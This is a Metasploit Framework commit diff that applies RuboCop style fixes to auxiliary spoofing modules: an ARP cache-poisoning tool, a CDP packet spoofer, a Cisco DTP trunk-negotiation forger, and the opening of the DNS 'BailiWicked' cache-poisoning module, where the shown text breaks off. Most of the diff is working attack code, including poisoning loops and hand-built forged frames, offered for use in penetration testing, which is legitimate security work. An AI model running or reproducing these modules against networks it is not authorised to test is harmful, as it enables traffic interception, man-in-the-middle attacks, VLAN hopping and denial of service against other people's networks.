modules/auxiliary/spoof: Resolve RuboCop violations

This commit is contained in:
bcoles
2025-05-13 19:36:21 +10:00
parent af657c4b26
commit f53fb9e844
11 changed files with 975 additions and 944 deletions
+196 -195
View File
@@ -9,49 +9,55 @@ class MetasploitModule < Msf::Auxiliary
def initialize
super(
'Name' => 'ARP Spoof',
'Name' => 'ARP Spoof',
'Description' => %q{
Spoof ARP replies and poison remote ARP caches to conduct IP address spoofing or a denial of service.
},
'Author' => 'amaloteaux', # msf rewrite
#tons of people
'License' => MSF_LICENSE,
'References' =>
[
['OSVDB', '11169'],
['CVE', '1999-0667'],
['URL', 'https://en.wikipedia.org/wiki/ARP_spoofing']
],
'DisclosureDate' => 'Dec 22 1999' #osvdb date
'Author' => [
'amaloteaux', # msf rewrite
# tons of people
],
'License' => MSF_LICENSE,
'References' => [
['OSVDB', '11169'],
['CVE', '1999-0667'],
['URL', 'https://en.wikipedia.org/wiki/ARP_spoofing']
],
'DisclosureDate' => 'Dec 22 1999', # osvdb date
'Notes' => {
'Stability' => [OS_RESOURCE_LOSS],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
}
)
register_options([
OptString.new('SHOSTS', [true, 'Spoofed ip addresses']),
OptString.new('SMAC', [false, 'The spoofed mac']),
OptString.new('DHOSTS', [true, 'Target ip addresses']),
OptString.new('INTERFACE', [false, 'The name of the interface']),
OptBool.new( 'BIDIRECTIONAL', [true, 'Spoof also the source with the dest',false]),
OptBool.new( 'AUTO_ADD', [true, 'Auto add new host when discovered by the listener',false]),
OptBool.new( 'LISTENER', [true, 'Use an additional thread that will listen for arp requests to reply as fast as possible', true])
OptString.new('SHOSTS', [true, 'Spoofed IP addresses']),
OptString.new('SMAC', [false, 'Spoofed MAC address']),
OptString.new('DHOSTS', [true, 'Target IP addresses']),
OptString.new('INTERFACE', [false, 'The name of the interface']),
OptBool.new('BIDIRECTIONAL', [true, 'Spoof also the source with the destination', false]),
OptBool.new('AUTO_ADD', [true, 'Auto add new host when discovered by the listener', false]),
OptBool.new('LISTENER', [true, 'Use an additional thread that will listen for arp requests to reply as fast as possible', true])
])
register_advanced_options([
OptString.new('LOCALSMAC', [false, 'The MAC address of the local interface to use for hosts detection, this is useful only if you want to spoof to another host with SMAC']),
OptString.new('LOCALSIP', [false, 'The IP address of the local interface to use for hosts detection']),
OptInt.new( 'PKT_DELAY', [true, 'The delay in milliseconds between each packet during poisoning', 100]),
OptString.new('LOCALSMAC', [false, 'The MAC address of the local interface to use for hosts detection, this is useful only if you want to spoof to another host with SMAC']),
OptString.new('LOCALSIP', [false, 'The IP address of the local interface to use for hosts detection']),
OptInt.new('PKT_DELAY', [true, 'The delay in milliseconds between each packet during poisoning', 100]),
OptInt.new('TIMEOUT', [true, 'The number of seconds to wait for new data during host detection', 2]),
# This mode will generate address ip conflict pop up on most systems
OptBool.new( 'BROADCAST', [true, 'If set, the module will send replies on the broadcast address without consideration of DHOSTS', false])
# This mode will generate address IP conflict pop up on most systems
OptBool.new('BROADCAST', [true, 'If set, the module will send replies on the broadcast address without consideration of DHOSTS', false])
])
deregister_options('SNAPLEN', 'FILTER', 'PCAPFILE','RHOST','SECRET','GATEWAY_PROBE_HOST','GATEWAY_PROBE_PORT')
deregister_options('SNAPLEN', 'FILTER', 'PCAPFILE', 'RHOST', 'SECRET', 'GATEWAY_PROBE_HOST', 'GATEWAY_PROBE_PORT')
end
def run
open_pcap({'SNAPLEN' => 68, 'FILTER' => "arp[6:2] == 0x0002"})
open_pcap({ 'SNAPLEN' => 68, 'FILTER' => 'arp[6:2] == 0x0002' })
@netifaces = true
if not netifaces_implemented?
print_error("WARNING : Pcaprub is not up-to-date, some functionality will not be available")
if !netifaces_implemented?
print_error('WARNING : Pcaprub is not up-to-date, some functionality will not be available')
@netifaces = false
end
@spoofing = false
@@ -77,15 +83,15 @@ class MetasploitModule < Msf::Auxiliary
@sip = datastore['LOCALSIP']
@sip ||= get_ipv4_addr(@interface) if @netifaces
raise "LOCALSIP is not defined and can not be guessed" unless @sip
raise "LOCALSIP is not an ipv4 address" unless Rex::Socket.is_ipv4?(@sip)
raise 'LOCALSIP is not defined and can not be guessed' unless @sip
raise 'LOCALSIP is not an ipv4 address' unless Rex::Socket.is_ipv4?(@sip)
shosts_range = Rex::Socket::RangeWalker.new(datastore['SHOSTS'])
shosts_range = Rex::Socket::RangeWalker.new(datastore['SHOSTS'])
@shosts = []
if datastore['BIDIRECTIONAL']
shosts_range.each{|shost| if Rex::Socket.is_ipv4?(shost) and shost != @sip then @shosts.push shost end}
shosts_range.each { |shost| if Rex::Socket.is_ipv4?(shost) && (shost != @sip) then @shosts.push shost end }
else
shosts_range.each{|shost| if Rex::Socket.is_ipv4?(shost) then @shosts.push shost end}
shosts_range.each { |shost| if Rex::Socket.is_ipv4?(shost) then @shosts.push shost end }
end
if datastore['BROADCAST']
@@ -93,69 +99,67 @@ class MetasploitModule < Msf::Auxiliary
else
arp_poisoning
end
rescue => ex
print_error( ex.message)
rescue StandardError => e
print_error(e.message)
ensure
if datastore['LISTENER']
@listener.kill if @listener
if datastore['LISTENER'] && @listener
@listener.kill
end
if capture and @spoofing and not datastore['BROADCAST']
print_status("RE-ARPing the victims...")
if capture && @spoofing && !datastore['BROADCAST']
print_status('RE-ARPing the victims...')
3.times do
@dsthosts_cache.keys.sort.each do |dhost|
dmac = @dsthosts_cache[dhost]
if datastore['BIDIRECTIONAL']
@srchosts_cache.keys.sort.each do |shost|
smac = @srchosts_cache[shost]
if shost != dhost
vprint_status("Sending arp packet for #{shost} to #{dhost}")
reply = buildreply(shost, smac, dhost, dmac)
inject(reply)
Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0 )/1000)
end
next unless shost != dhost
vprint_status("Sending arp packet for #{shost} to #{dhost}")
reply = buildreply(shost, smac, dhost, dmac)
inject(reply)
Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0) / 1000)
end
else
@shosts.each do |shost|
if shost != dhost
vprint_status("Sending arp request for #{shost} to #{dhost}")
request = buildprobe(dhost, dmac, shost)
inject(request)
Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0 )/1000)
end
next unless shost != dhost
vprint_status("Sending arp request for #{shost} to #{dhost}")
request = buildprobe(dhost, dmac, shost)
inject(request)
Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0) / 1000)
end
end
end
if datastore['BIDIRECTIONAL']
@srchosts_cache.keys.sort.each do |shost|
smac = @srchosts_cache[shost]
@dsthosts_cache.keys.sort.each do |dhost|
dmac = @dsthosts_cache[dhost]
if shost != dhost
vprint_status("Sending arp packet for #{dhost} to #{shost}")
reply = buildreply(dhost, dmac, shost, smac)
inject(reply)
Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0 )/1000)
end
end
next unless datastore['BIDIRECTIONAL']
@srchosts_cache.keys.sort.each do |shost|
smac = @srchosts_cache[shost]
@dsthosts_cache.keys.sort.each do |dhost|
dmac = @dsthosts_cache[dhost]
next unless shost != dhost
vprint_status("Sending arp packet for #{dhost} to #{shost}")
reply = buildreply(dhost, dmac, shost, smac)
inject(reply)
Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0) / 1000)
end
end
end # 3.times
end
end
close_pcap
end #begin/rescue/ensure
end
end
def broadcast_spoof
print_status("ARP poisoning in progress (broadcast)...")
while(true)
print_status('ARP poisoning in progress (broadcast)...')
loop do
@shosts.each do |shost|
vprint_status("Sending arp packet for #{shost} address")
reply = buildreply(shost, @smac, '0.0.0.0', 'ff:ff:ff:ff:ff:ff')
inject(reply)
Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0 )/1000)
Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0) / 1000)
end
end
end
@@ -166,46 +170,47 @@ class MetasploitModule < Msf::Auxiliary
dhosts_range = Rex::Socket::RangeWalker.new(datastore['DHOSTS'])
@dhosts = []
dhosts_range.each{|dhost| if Rex::Socket.is_ipv4?(dhost) and dhost != @sip then @dhosts.push(dhost) end}
dhosts_range.each { |dhost| if Rex::Socket.is_ipv4?(dhost) && (dhost != @sip) then @dhosts.push(dhost) end }
# Build the local dest hosts cache
print_status("Building the destination hosts cache...")
print_status('Building the destination hosts cache...')
@dhosts.each do |dhost|
vprint_status("Sending arp packet to #{dhost}")
probe = buildprobe(@sip, lsmac, dhost)
inject(probe)
while(reply = getreply())
next if not reply.is_arp?
# Without this check any arp request would be added to the cache
if @dhosts.include? reply.arp_saddr_ip
print_good("#{reply.arp_saddr_ip} appears to be up.")
report_host(:host => reply.arp_saddr_ip, :mac=>reply.arp_saddr_mac)
@dsthosts_cache[reply.arp_saddr_ip] = reply.arp_saddr_mac
end
end
while (reply = getreply)
next if !reply.is_arp?
# Without this check any arp request would be added to the cache
next unless @dhosts.include? reply.arp_saddr_ip
print_good("#{reply.arp_saddr_ip} appears to be up.")
report_host(host: reply.arp_saddr_ip, mac: reply.arp_saddr_mac)
@dsthosts_cache[reply.arp_saddr_ip] = reply.arp_saddr_mac
end
end
# Wait some few seconds for last packets
etime = Time.now.to_f + datastore['TIMEOUT']
while (Time.now.to_f < etime)
while(reply = getreply())
next if not reply.is_arp?
if @dhosts.include? reply.arp_saddr_ip
print_good("#{reply.arp_saddr_ip} appears to be up.")
report_host(:host => reply.arp_saddr_ip, :mac=>reply.arp_saddr_mac)
@dsthosts_cache[reply.arp_saddr_ip] = reply.arp_saddr_mac
end
while (reply = getreply)
next if !reply.is_arp?
next unless @dhosts.include? reply.arp_saddr_ip
print_good("#{reply.arp_saddr_ip} appears to be up.")
report_host(host: reply.arp_saddr_ip, mac: reply.arp_saddr_mac)
@dsthosts_cache[reply.arp_saddr_ip] = reply.arp_saddr_mac
end
Kernel.select(nil, nil, nil, 0.50)
end
raise "No hosts found" unless @dsthosts_cache.length > 0
raise 'No hosts found' if @dsthosts_cache.empty?
# Build the local src hosts cache
if datastore['BIDIRECTIONAL']
print_status("Building the source hosts cache for unknown source hosts...")
print_status('Building the source hosts cache for unknown source hosts...')
@shosts.each do |shost|
if @dsthosts_cache.has_key? shost
if @dsthosts_cache.key? shost
vprint_status("Adding #{shost} from destination cache")
@srchosts_cache[shost] = @dsthosts_cache[shost]
next
@@ -213,30 +218,31 @@ class MetasploitModule < Msf::Auxiliary
vprint_status("Sending arp packet to #{shost}")
probe = buildprobe(@sip, lsmac, shost)
inject(probe)
while(reply = getreply())
next if not reply.is_arp?
if @shosts.include? reply.arp_saddr_ip
print_good("#{reply.arp_saddr_ip} appears to be up.")
report_host(:host => reply.arp_saddr_ip, :mac=>reply.arp_saddr_mac)
@srchosts_cache[reply.arp_saddr_ip] = reply.arp_saddr_mac
end
end
while (reply = getreply)
next if !reply.is_arp?
next unless @shosts.include? reply.arp_saddr_ip
print_good("#{reply.arp_saddr_ip} appears to be up.")
report_host(host: reply.arp_saddr_ip, mac: reply.arp_saddr_mac)
@srchosts_cache[reply.arp_saddr_ip] = reply.arp_saddr_mac
end
end
# Wait some few seconds for last packets
etime = Time.now.to_f + datastore['TIMEOUT']
while (Time.now.to_f < etime)
while(reply = getreply())
next if not reply.is_arp?
if @shosts.include? reply.arp_saddr_ip
print_good("#{reply.arp_saddr_ip} appears to be up.")
report_host(:host => reply.arp_saddr_ip, :mac=>reply.arp_saddr_mac)
@srchosts_cache[reply.arp_saddr_ip] = reply.arp_saddr_mac
end
while (reply = getreply)
next if !reply.is_arp?
next unless @shosts.include? reply.arp_saddr_ip
print_good("#{reply.arp_saddr_ip} appears to be up.")
report_host(host: reply.arp_saddr_ip, mac: reply.arp_saddr_mac)
@srchosts_cache[reply.arp_saddr_ip] = reply.arp_saddr_mac
end
Kernel.select(nil, nil, nil, 0.50)
end
raise "No hosts found" unless @srchosts_cache.length > 0
raise 'No hosts found' if @srchosts_cache.empty?
end
if datastore['AUTO_ADD']
@@ -248,20 +254,18 @@ class MetasploitModule < Msf::Auxiliary
start_listener(@dsthosts_cache, @srchosts_cache)
end
# Do the job until user interrupt it
print_status("ARP poisoning in progress...")
print_status('ARP poisoning in progress...')
@spoofing = true
while(true)
loop do
if datastore['AUTO_ADD']
@mutex_cache.lock
if @dsthosts_autoadd_cache.length > 0
if !@dsthosts_autoadd_cache.empty?
@dsthosts_cache.merge!(@dsthosts_autoadd_cache)
@dsthosts_autoadd_cache = {}
end
if datastore['BIDIRECTIONAL']
if @srchosts_autoadd_cache.length > 0
@srchosts_cache.merge!(@srchosts_autoadd_cache)
@srchosts_autoadd_cache = {}
end
if datastore['BIDIRECTIONAL'] && @srchosts_autoadd_cache.length > (0)
@srchosts_cache.merge!(@srchosts_autoadd_cache)
@srchosts_autoadd_cache = {}
end
@mutex_cache.unlock
end
@@ -269,53 +273,53 @@ class MetasploitModule < Msf::Auxiliary
dmac = @dsthosts_cache[dhost]
if datastore['BIDIRECTIONAL']
@srchosts_cache.keys.sort.each do |shost|
smac = @srchosts_cache[shost]
if shost != dhost
vprint_status("Sending arp packet for #{shost} to #{dhost}")
reply = buildreply(shost, @smac, dhost, dmac)
inject(reply)
Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0 )/1000)
end
@srchosts_cache[shost]
next unless shost != dhost
vprint_status("Sending arp packet for #{shost} to #{dhost}")
reply = buildreply(shost, @smac, dhost, dmac)
inject(reply)
Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0) / 1000)
end
else
@shosts.each do |shost|
if shost != dhost
vprint_status("Sending arp packet for #{shost} to #{dhost}")
reply = buildreply(shost, @smac, dhost, dmac)
inject(reply)
Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0 )/1000)
end
next unless shost != dhost
vprint_status("Sending arp packet for #{shost} to #{dhost}")
reply = buildreply(shost, @smac, dhost, dmac)
inject(reply)
Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0) / 1000)
end
end
end
if datastore['BIDIRECTIONAL']
@srchosts_cache.keys.sort.each do |shost|
smac = @srchosts_cache[shost]
@dsthosts_cache.keys.sort.each do |dhost|
dmac = @dsthosts_cache[dhost]
if shost != dhost
vprint_status("Sending arp packet for #{dhost} to #{shost}")
reply = buildreply(dhost, @smac, shost, smac)
inject(reply)
Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0 )/1000)
end
end
next unless datastore['BIDIRECTIONAL']
@srchosts_cache.keys.sort.each do |shost|
smac = @srchosts_cache[shost]
@dsthosts_cache.keys.sort.each do |dhost|
@dsthosts_cache[dhost]
next unless shost != dhost
vprint_status("Sending arp packet for #{dhost} to #{shost}")
reply = buildreply(dhost, @smac, shost, smac)
inject(reply)
Kernel.select(nil, nil, nil, (datastore['PKT_DELAY'] * 1.0) / 1000)
end
end
end
end
def is_mac?(mac)
if mac =~ /^([a-fA-F0-9]{2}:){5}[a-fA-F0-9]{2}$/ then true
else false end
else
false end
end
def buildprobe(shost, smac, dhost)
p = PacketFu::ARPPacket.new
p.eth_saddr = smac
p.eth_daddr = "ff:ff:ff:ff:ff:ff"
p.eth_daddr = 'ff:ff:ff:ff:ff:ff'
p.arp_opcode = 1
p.arp_daddr_mac = p.eth_daddr
p.arp_saddr_mac = p.eth_saddr
@@ -338,75 +342,72 @@ class MetasploitModule < Msf::Auxiliary
def getreply
pkt_bytes = capture.next
return if not pkt_bytes
return if !pkt_bytes
pkt = PacketFu::Packet.parse(pkt_bytes)
return unless pkt.is_arp?
return unless pkt.arp_opcode == 2
pkt
end
def start_listener(dsthosts_cache, srchosts_cache)
if datastore['BIDIRECTIONAL']
args = {:BIDIRECTIONAL => true, :dhosts => dsthosts_cache.dup, :shosts => srchosts_cache.dup}
thread_args = { BIDIRECTIONAL: true, dhosts: dsthosts_cache.dup, shosts: srchosts_cache.dup }
else
args = {:BIDIRECTIONAL => false, :dhosts => dsthosts_cache.dup, :shosts => @shosts.dup}
thread_args = { BIDIRECTIONAL: false, dhosts: dsthosts_cache.dup, shosts: @shosts.dup }
end
# To avoid any race condition in case of , even if actually those are never updated after the thread is launched
args[:AUTO_ADD] = datastore['AUTO_ADD']
args[:localip] = @sip.dup
@listener = Thread.new(args) do |args|
begin
# one more local copy
liste_src_ips = []
if args[:BIDIRECTIONAL]
args[:shosts].each_key {|address| liste_src_ips.push address}
else
args[:shosts].each {|address| liste_src_ips.push address}
end
liste_dst_ips = []
args[:dhosts].each_key {|address| liste_dst_ips.push address}
localip = args[:localip]
thread_args[:AUTO_ADD] = datastore['AUTO_ADD']
thread_args[:localip] = @sip.dup
@listener = Thread.new(thread_args) do |args|
# one more local copy
liste_src_ips = []
if args[:BIDIRECTIONAL]
args[:shosts].each_key { |address| liste_src_ips.push address }
else
args[:shosts].each { |address| liste_src_ips.push address }
end
liste_dst_ips = []
args[:dhosts].each_key { |address| liste_dst_ips.push address }
localip = args[:localip]
listener_capture = ::Pcap.open_live(@interface, 68, true, 0)
listener_capture.setfilter("arp[6:2] == 0x0001")
while(true)
pkt_bytes = listener_capture.next
if pkt_bytes
pkt = PacketFu::Packet.parse(pkt_bytes)
if pkt.is_arp?
if pkt.arp_opcode == 1
# check if the source ip is in the dest hosts
if (liste_dst_ips.include? pkt.arp_saddr_ip and liste_src_ips.include? pkt.arp_daddr_ip) or
(args[:BIDIRECTIONAL] and liste_dst_ips.include? pkt.arp_daddr_ip and liste_src_ips.include? pkt.arp_saddr_ip)
vprint_status("Listener : Request from #{pkt.arp_saddr_ip} for #{pkt.arp_daddr_ip}")
reply = buildreply(pkt.arp_daddr_ip, @smac, pkt.arp_saddr_ip, pkt.eth_saddr)
3.times{listener_capture.inject(reply.to_s)}
elsif args[:AUTO_ADD]
if (@dhosts.include? pkt.arp_saddr_ip and not liste_dst_ips.include? pkt.arp_saddr_ip and
pkt.arp_saddr_ip != localip)
@mutex_cache.lock
print_status("#{pkt.arp_saddr_ip} appears to be up.")
@dsthosts_autoadd_cache[pkt.arp_saddr_ip] = pkt.arp_saddr_mac
liste_dst_ips.push pkt.arp_saddr_ip
@mutex_cache.unlock
elsif (args[:BIDIRECTIONAL] and @shosts.include? pkt.arp_saddr_ip and
not liste_src_ips.include? pkt.arp_saddr_ip and pkt.arp_saddr_ip != localip)
@mutex_cache.lock
print_status("#{pkt.arp_saddr_ip} appears to be up.")
@srchosts_autoadd_cache[pkt.arp_saddr_ip] = pkt.arp_saddr_mac
liste_src_ips.push pkt.arp_saddr_ip
@mutex_cache.unlock
end
end
end
listener_capture = ::Pcap.open_live(@interface, 68, true, 0)
listener_capture.setfilter('arp[6:2] == 0x0001')
loop do
pkt_bytes = listener_capture.next
next unless pkt_bytes
pkt = PacketFu::Packet.parse(pkt_bytes)
if pkt.is_arp? && pkt.arp_opcode == (1)
# check if the source ip is in the dest hosts
if (liste_dst_ips.include?(pkt.arp_saddr_ip) && liste_src_ips.include?(pkt.arp_daddr_ip)) ||
(args[:BIDIRECTIONAL] && liste_dst_ips.include?(pkt.arp_daddr_ip) && liste_src_ips.include?(pkt.arp_saddr_ip))
vprint_status("Listener : Request from #{pkt.arp_saddr_ip} for #{pkt.arp_daddr_ip}")
reply = buildreply(pkt.arp_daddr_ip, @smac, pkt.arp_saddr_ip, pkt.eth_saddr)
3.times { listener_capture.inject(reply.to_s) }
elsif args[:AUTO_ADD]
if @dhosts.include?(pkt.arp_saddr_ip) && !liste_dst_ips.include?(pkt.arp_saddr_ip) &&
(pkt.arp_saddr_ip != localip)
@mutex_cache.lock
print_status("#{pkt.arp_saddr_ip} appears to be up.")
@dsthosts_autoadd_cache[pkt.arp_saddr_ip] = pkt.arp_saddr_mac
liste_dst_ips.push pkt.arp_saddr_ip
@mutex_cache.unlock
elsif args[:BIDIRECTIONAL] && @shosts.include?(pkt.arp_saddr_ip) &&
!liste_src_ips.include?(pkt.arp_saddr_ip) && (pkt.arp_saddr_ip != localip)
@mutex_cache.lock
print_status("#{pkt.arp_saddr_ip} appears to be up.")
@srchosts_autoadd_cache[pkt.arp_saddr_ip] = pkt.arp_saddr_mac
liste_src_ips.push pkt.arp_saddr_ip
@mutex_cache.unlock
end
end
end
rescue => ex
print_error("Listener Error: #{ex.message}")
print_error("Listener Error: Listener is stopped")
end
rescue StandardError => e
print_error("Listener Error: #{e.message}")
print_error('Listener Error: Listener is stopped')
end
@listener.abort_on_exception = true
end
+36 -32
View File
@@ -7,38 +7,43 @@ class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Capture
def initialize
super(
'Name' => 'Send Cisco Discovery Protocol (CDP) Packets',
'Name' => 'Send Cisco Discovery Protocol (CDP) Packets',
'Description' => %q{
This module sends Cisco Discovery Protocol (CDP) packets. Note that any responses
to the CDP packets broadcast from this module will need to be analyzed with an
external packet analysis tool, such as tcpdump or Wireshark in order to learn more
about the Cisco switch and router environment.
},
'Author' => 'Fatih Ozavci', # viproy.com/fozavci
'License' => MSF_LICENSE,
'References' => [
'Author' => 'Fatih Ozavci', # viproy.com/fozavci
'License' => MSF_LICENSE,
'References' => [
[ 'URL', 'https://en.wikipedia.org/wiki/CDP_Spoofing' ]
],
'Actions' => [
'Actions' => [
['Spoof', { 'Description' => 'Sends CDP packets' }]
],
'DefaultAction' => 'Spoof'
'DefaultAction' => 'Spoof',
'Notes' => {
'Stability' => [OS_RESOURCE_LOSS],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
}
)
register_options(
[
OptString.new('SMAC', [false, "MAC Address for MAC Spoofing"]),
OptString.new('VTPDOMAIN', [false, "VTP Domain"]),
OptString.new('DEVICE_ID', [true, "Device ID (e.g. SIP00070EEA3156)", "SEP00070EEA3156"]),
OptString.new('PORT', [true, "The CDP 'sent through interface' value", "Port 1"]),
OptString.new('SMAC', [false, 'MAC address for MAC spoofing']),
OptString.new('VTPDOMAIN', [false, 'VTP Domain']),
OptString.new('DEVICE_ID', [true, 'Device ID (e.g. SIP00070EEA3156)', 'SEP00070EEA3156']),
OptString.new('PORT', [true, "The CDP 'sent through interface' value", 'Port 1']),
# XXX: this is not currently implemented
#OptString.new('CAPABILITIES', [false, "Capabilities of the device (e.g. Router, Host, Switch)", "Router"]),
OptString.new('PLATFORM', [true, "Platform of the device", "Cisco IP Phone 7975"]),
OptString.new('SOFTWARE', [true, "Software of the device", "SCCP75.9-3-1SR2-1S"]),
# OptString.new('CAPABILITIES', [false, "Capabilities of the device (e.g. Router, Host, Switch)", "Router"]),
OptString.new('PLATFORM', [true, 'Platform of the device', 'Cisco IP Phone 7975']),
OptString.new('SOFTWARE', [true, 'Software of the device', 'SCCP75.9-3-1SR2-1S']),
OptBool.new('FULL_DUPLEX', [true, 'True iff full-duplex, false otherwise', true])
])
]
)
deregister_options('FILTER', 'PCAPFILE', 'RHOST', 'SNAPLEN', 'TIMEOUT')
end
@@ -46,8 +51,9 @@ class MetasploitModule < Msf::Auxiliary
def setup
check_pcaprub_loaded
unless smac
fail ArgumentError, "Unable to get SMAC from #{interface} -- Set INTERFACE or SMAC"
raise ArgumentError, "Unable to get SMAC from #{interface} -- Set INTERFACE or SMAC"
end
open_pcap
close_pcap
end
@@ -61,19 +67,17 @@ class MetasploitModule < Msf::Auxiliary
end
def run
begin
open_pcap
open_pcap
@run = true
cdp_packet = build_cdp
print_status("Sending CDP messages on #{interface}")
while @run
capture.inject(cdp_packet)
Rex.sleep(60)
end
ensure
close_pcap
@run = true
cdp_packet = build_cdp
print_status("Sending CDP messages on #{interface}")
while @run
capture.inject(cdp_packet)
Rex.sleep(60)
end
ensure
close_pcap
end
def build_cdp
@@ -106,7 +110,7 @@ class MetasploitModule < Msf::Auxiliary
# VTP management domain
cdp << tlv(9, datastore['VTPDOMAIN']) if datastore['VTPDOMAIN']
# random 1000-7000 power consumption in mW
cdp << tlv(0x10, [1000 + rand(6000)].pack('n'))
cdp << tlv(0x10, [rand(1000..6999)].pack('n'))
# duplex
cdp << tlv(0x0b, datastore['FULL_DUPLEX'] ? "\x01" : "\x00")
# VLAn query. TODO: figure out this field, use tlv, make configurable
@@ -117,7 +121,7 @@ class MetasploitModule < Msf::Auxiliary
# Build and return the final packet, which is 802.3 + LLC + CDP.
# 802.3
PacketFu::EthHeader.mac2str("01:00:0C:CC:CC:CC") +
PacketFu::EthHeader.mac2str('01:00:0C:CC:CC:CC') +
PacketFu::EthHeader.mac2str(smac) +
[cdp.length + 8].pack('n') +
# LLC
@@ -126,8 +130,8 @@ class MetasploitModule < Msf::Auxiliary
cdp
end
def tlv(t, v)
[ t, v.length + 4 ].pack("nn") + v
def tlv(type, value)
[ type, value.length + 4 ].pack('nn') + value
end
def compute_cdp_checksum(cdp)
@@ -143,6 +147,6 @@ class MetasploitModule < Msf::Auxiliary
checksum += cdp[cdp.length - 1].getbyte(0) << 8 if remaining == 1
checksum = (checksum >> 16) + (checksum & 0xffff)
checksum = ~((checksum >> 16) + checksum) & 0xffff
([checksum].pack("S*")).unpack("n*")[0]
[checksum].pack('S*').unpack('n*')[0]
end
end
+40 -31
View File
@@ -6,25 +6,30 @@
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Capture
def initialize(info = {})
def initialize(_info = {})
super(
'Name' => 'Forge Cisco DTP Packets',
'Name' => 'Forge Cisco DTP Packets',
'Description' => %q{
This module forges DTP packets to initialize a trunk port.
},
'Author' => [ 'Spencer McIntyre' ],
'License' => MSF_LICENSE,
'Actions' =>
[
[ 'Service', 'Description' => 'Run DTP forging service' ]
],
'Author' => [ 'Spencer McIntyre' ],
'License' => MSF_LICENSE,
'Actions' => [
[ 'Service', { 'Description' => 'Run DTP forging service' } ]
],
'PassiveActions' => [ 'Service' ],
'DefaultAction' => 'Service'
'DefaultAction' => 'Service',
'Notes' => {
'Stability' => [OS_RESOURCE_LOSS],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
}
)
register_options(
[
OptString.new('SMAC', [false, 'The spoofed mac (if unset, derived from netifaces)']),
])
OptString.new('SMAC', [false, 'The spoofed mac (if unset, derived from netifaces)']),
]
)
deregister_options('RHOST', 'PCAPFILE')
end
@@ -40,11 +45,11 @@ class MetasploitModule < Msf::Auxiliary
p.eth_daddr = '01:00:0c:cc:cc:cc'
p.eth_saddr = smac
llc_hdr = "\xaa\xaa\x03\x00\x00\x0c\x20\x04"
dtp_hdr = "\x01" # version
dtp_hdr << "\x00\x01\x00\x0d\x00\x00\x00\x00\x00\x00\x00\x00\x00" # domain
dtp_hdr = "\x01" # version
dtp_hdr << "\x00\x01\x00\x0d\x00\x00\x00\x00\x00\x00\x00\x00\x00" # domain
dtp_hdr << "\x00\x02\x00\x05\x03" # status
dtp_hdr << "\x00\x03\x00\x05\x45" # dtp type
dtp_hdr << "\x00\x04\x00\x0a" << PacketFu::EthHeader.mac2str(smac) # neighbor
dtp_hdr << "\x00\x04\x00\x0a" << PacketFu::EthHeader.mac2str(smac) # neighbor
p.eth_proto = llc_hdr.length + dtp_hdr.length
p.payload = llc_hdr << dtp_hdr
p
@@ -61,23 +66,27 @@ class MetasploitModule < Msf::Auxiliary
end
def run
unless smac()
print_error 'Source MAC (SMAC) should be defined'
else
unless is_mac? smac
print_error "Source MAC (SMAC) `#{smac}' is badly formatted."
else
print_status "Starting DTP spoofing service..."
open_pcap({'FILTER' => "ether host 01:00:0c:cc:cc:cc"})
interface = datastore['INTERFACE'] || Pcap.lookupdev
dtp = build_dtp_frame()
@run = true
while @run
capture.inject(dtp.to_s)
select(nil, nil, nil, 60)
end
close_pcap
end
unless smac
print_error('Source MAC (SMAC) should be defined')
return
end
unless is_mac?(smac)
print_error("Source MAC (SMAC) `#{smac}' is badly formatted.")
return
end
print_status 'Starting DTP spoofing service...'
open_pcap({ 'FILTER' => 'ether host 01:00:0c:cc:cc:cc' })
datastore['INTERFACE'] || Pcap.lookupdev
dtp = build_dtp_frame
@run = true
while @run
capture.inject(dtp.to_s)
select(nil, nil, nil, 60)
end
close_pcap
end
end
+171 -174
View File
@@ -3,6 +3,7 @@
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'English'
require 'net/dns'
require 'resolv'
@@ -10,35 +11,41 @@ class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Capture
def initialize(info = {})
super(update_info(info,
'Name' => 'DNS BailiWicked Domain Attack',
'Description' => %q{
This exploit attacks a fairly ubiquitous flaw in DNS implementations which
Dan Kaminsky found and disclosed ~Jul 2008. This exploit replaces the target
domains nameserver entries in a vulnerable DNS cache server. This attack works
by sending random hostname queries to the target DNS server coupled with spoofed
replies to those queries from the authoritative nameservers for that domain.
Eventually, a guessed ID will match, the spoofed packet will get accepted, and
the nameserver entries for the target domain will be replaced by the server
specified in the NEWDNS option of this exploit.
},
'Author' =>
[
super(
update_info(
info,
'Name' => 'DNS BailiWicked Domain Attack',
'Description' => %q{
This exploit attacks a fairly ubiquitous flaw in DNS implementations which
Dan Kaminsky found and disclosed ~Jul 2008. This exploit replaces the target
domains nameserver entries in a vulnerable DNS cache server. This attack works
by sending random hostname queries to the target DNS server coupled with spoofed
replies to those queries from the authoritative nameservers for that domain.
Eventually, a guessed ID will match, the spoofed packet will get accepted, and
the nameserver entries for the target domain will be replaced by the server
specified in the NEWDNS option of this exploit.
},
'Author' => [
'I)ruid', 'hdm',
# Cedric figured out the NS injection method
# and was cool enough to email us and share!
'Cedric Blancher <sid[at]rstack.org>'
],
'License' => MSF_LICENSE,
'References' =>
[
'License' => MSF_LICENSE,
'References' => [
[ 'CVE', '2008-1447' ],
[ 'OSVDB', '46776'],
[ 'US-CERT-VU', '800113' ],
[ 'URL', 'http://web.archive.org/web/20160527135835/http://www.caughq.org/exploits/CAU-EX-2008-0003.txt' ],
],
'DisclosureDate' => '2008-07-21'
))
'DisclosureDate' => '2008-07-21',
'Notes' => {
